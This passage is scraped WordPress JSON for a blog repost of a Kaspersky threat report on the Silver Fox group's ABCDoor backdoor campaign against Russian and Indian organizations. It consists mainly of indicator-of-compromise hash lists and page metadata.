href=\"https:\/\/opentip.kaspersky.com\/27a3c439308f5c4956d77e23e1aad1a9\/?icid=gl_sl_opentip-lnk_sm-team_9a9a2b7f30542d32&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">27A3C439308F5C4956D77E23E1AAD1A9<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/53b68ca8d7a54c15700cf9500ae4a4e2\/?icid=gl_sl_opentip-lnk_sm-team_e3e485037b94f660&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">53B68CA8D7A54C15700CF9500AE4A4E2<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/1d1f71936db05f67765f442feb95f3fd\/?icid=gl_sl_opentip-lnk_sm-team_72fbf450469d924c&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">1D1F71936DB05F67765F442FEB95F3FD<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/3c6aec25ebb2d51e1f16c2eef181c82a\/?icid=gl_sl_opentip-lnk_sm-team_56db8a813df4bfca&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">3C6AEC25EBB2D51E1F16C2EEF181C82A<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/7f27818e4244310a645984ccc41ea818\/?icid=gl_sl_opentip-lnk_sm-team_535bcfd12c2bc857&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">7F27818E4244310A645984CCC41EA818<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/a75713f0310e74ffd24d91e5731c4d31\/?icid=gl_sl_opentip-lnk_sm-team_4a0e00dbd2d4d89b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">A75713F0310E74FFD24D91E5731C4D31<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/4fc8c78516a8c2130286429686e200ed\/?icid=gl_sl_opentip-lnk_sm-team_62c61367a6d4210a&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">4FC8C78516A8C2130286429686E200ED<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/3417b9cf7acb22fae9e24603d4de1194\/?icid=gl_sl_opentip-lnk_sm-team_656d4479e4085391&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">3417B9CF7ACB22FAE9E24603D4DE1194<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/933f1cb8ed2ced5d0dd2877c5ea374e8\/?icid=gl_sl_opentip-lnk_sm-team_631fa08d4906fec9&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">933F1CB8ED2CED5D0DD2877C5EA374E8<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/b5ca812843570dcf8e7f35cacab36d4a\/?icid=gl_sl_opentip-lnk_sm-team_19c6e3d786d7ad5b&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">B5CA812843570DCF8E7F35CACAB36D4A<\/a><\/p>\n<p>ValleyRAT plugins installing ABCDoor<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/4a5195a38a458cdd2c1b5ab13af3b393\/?icid=gl_sl_opentip-lnk_sm-team_f515c64aaae6cd32&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">4A5195A38A458CDD2C1B5AB13AF3B393<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/e66bae6e8621db2a835fa6721c3e5bbe\/?icid=gl_sl_opentip-lnk_sm-team_26bd42b13abcb591&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">E66BAE6E8621DB2A835FA6721C3E5BBE<\/a><\/p>\n<p>ABCDoor stagers and loaders<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/04194f8ddd0518fd8005f0e87ae96335\/?icid=gl_sl_opentip-lnk_sm-team_8d7fd45a44de258a&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">04194F8DDD0518FD8005F0E87AE96335<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/f15a67899cfe4decff76d4cd1677c254\/?icid=gl_sl_opentip-lnk_sm-team_4132d3f5f646d68c&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">F15A67899CFE4DECFF76D4CD1677C254<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/11705121f64fa36f1e9d7e59867b0724\/?icid=gl_sl_opentip-lnk_sm-team_a83b55fc0f0e592c&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">11705121F64FA36F1E9D7E59867B0724<\/a><\/p>\n<p>Malicious VNC installers used in August 2025 attacks<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/4d343515f4c87b9a2ffd2f46665d2d57\/?icid=gl_sl_opentip-lnk_sm-team_99d35c2feb9fcf36&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">4D343515F4C87B9A2FFD2F46665D2D57<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/dfc64dd9d8f776ca5440c35fef5d406e\/?icid=gl_sl_opentip-lnk_sm-team_9bc429b16b91cfc7&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">DFC64DD9D8F776CA5440C35FEF5D406E<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/eefc28e9f2c0c0592af186be8e3570d2\/?icid=gl_sl_opentip-lnk_sm-team_39b7a8c54fc88694&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">EEFC28E9F2C0C0592AF186BE8E3570D2<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/6cf382d3a0eae57b8baaa263e4ed8d00\/?icid=gl_sl_opentip-lnk_sm-team_6a4a56926bd67c57&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">6CF382D3A0EAE57B8BAAA263E4ED8D00<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/32407207e9e9a0948d167dca96c41d1a\/?icid=gl_sl_opentip-lnk_sm-team_12af0c6c10894857&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">32407207E9E9A0948D167DCA96C41D1A<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/d17caf6f5d6ba3393a3a865d1c43c3d2\/?icid=gl_sl_opentip-lnk_sm-team_85ea16b53b8ca99d&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\">D17CAF6F5D6BA3393A3A865D1C43C3D2<\/a><\/p>\n<p>ABCDoor .pyd files<br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/13669b8f2bd0af53a3fe9ac0490499e5\/?icid=gl_sl_opentip-lnk_sm-team_175ea3a0cd08e77e&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">13669B8F2BD0AF53A3FE9AC0490499E5<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/5b998a5bc5ad1c550564294034d4a62c\/?icid=gl_sl_opentip-lnk_sm-team_28cf9816083ee1c5&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">5B998A5BC5AD1C550564294034D4A62C<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/c50c980d3f4b7ed970f083b0d37a6a6a\/?icid=gl_sl_opentip-lnk_sm-team_e8dfe97bc0eca446&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">C50C980D3F4B7ED970F083B0D37A6A6A<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/de8f0008b15f2404f721f76fac34456a\/?icid=gl_sl_opentip-lnk_sm-team_18f1dd0abbf5aedf&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">DE8F0008B15F2404F721F76FAC34456A<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/9bf9f635019494c4b70fb0a7c0fb53e4\/?icid=gl_sl_opentip-lnk_sm-team_e8d3d175dec38758&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">9BF9F635019494C4B70FB0A7C0FB53E4<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/a543b96b0938de798dd4f683dd92a94a\/?icid=gl_sl_opentip-lnk_sm-team_801382e42c91a2e9&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=SL\" target=\"_blank\" rel=\"noopener\">A543B96B0938DE798DD4F683DD92A94A<\/a><br \/>\n<a href=\"https:\/\/opentip.kaspersky.com\/fa08b243f12e31940b8b4b82d3498804?icid=gl_sl_opentip-lnk_sm-team_0849ee4743154c70&amp;utm_source=SL&amp;utm_medium=SL&amp;utm_campaign=S\" target=\"_blank\" rel=\"noopener\">FA08B243F12E31940B8B4B82D3498804<\/a><\/p>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group. Both waves followed a nearly identical structure: phishing emails [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-container-style":"default","site-container-layout":"default","site-sidebar-layout":"default","disable-article-header":"default","disable-site-header":"default","disable-site-footer":"default","disable-content-area-spacing":"default","footnotes":""},"categories":[1082,251,256,247,270,90,248,99,232,233,587,1083,1080,222,250,249,236,1081],"tags":[91],"class_list":["post-2797","post","type-post","status-publish","format-standard","hentry","category-abcdoor","category-apt","category-apt-targeted-attacks","category-apt-reports","category-backdoor","category-cybersecurity","category-great-research","category-malware","category-malware-descriptions","category-malware-technologies","category-rat","category-rustsl","category-silver-fox","category-spam-and-phishing","category-spear-phishing","category-targeted-attacks","category-trojan","category-valleyrat","tag-cybersecurity"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India - Imperative Business Ventures Limited<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India - Imperative Business Ventures Limited\" \/>\n<meta property=\"og:description\" content=\"In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group. Both waves followed a nearly identical structure: phishing emails [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/\" \/>\n<meta property=\"og:site_name\" content=\"Imperative Business Ventures Limited\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-30T07:04:02+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/29144353\/SL-Silver-Fox-tax-campaign-featured-990x400.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"28 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02\"},\"headline\":\"Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India\",\"datePublished\":\"2026-04-30T07:04:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/\"},\"wordCount\":5063,\"image\":{\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/04\/29144353\/SL-Silver-Fox-tax-campaign-featured-990x400.jpg\",\"keywords\":[\"Cybersecurity\"],\"articleSection\":[\"ABCDoor\",\"APT\",\"APT (Targeted attacks)\",\"APT reports\",\"Backdoor\",\"Cybersecurity\",\"GReAT research\",\"Malware\",\"Malware descriptions\",\"Malware Technologies\",\"RAT\",\"RustSL\",\"Silver Fox\",\"Spam and phishing\",\"Spear phishing\",\"Targeted attacks\",\"Trojan\",\"ValleyRAT\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/\",\"url\":\"https:\/\/blog.ibvl.in\/index.php\/2026\/04\/30\/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india\/\",\"name\":\"Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India - 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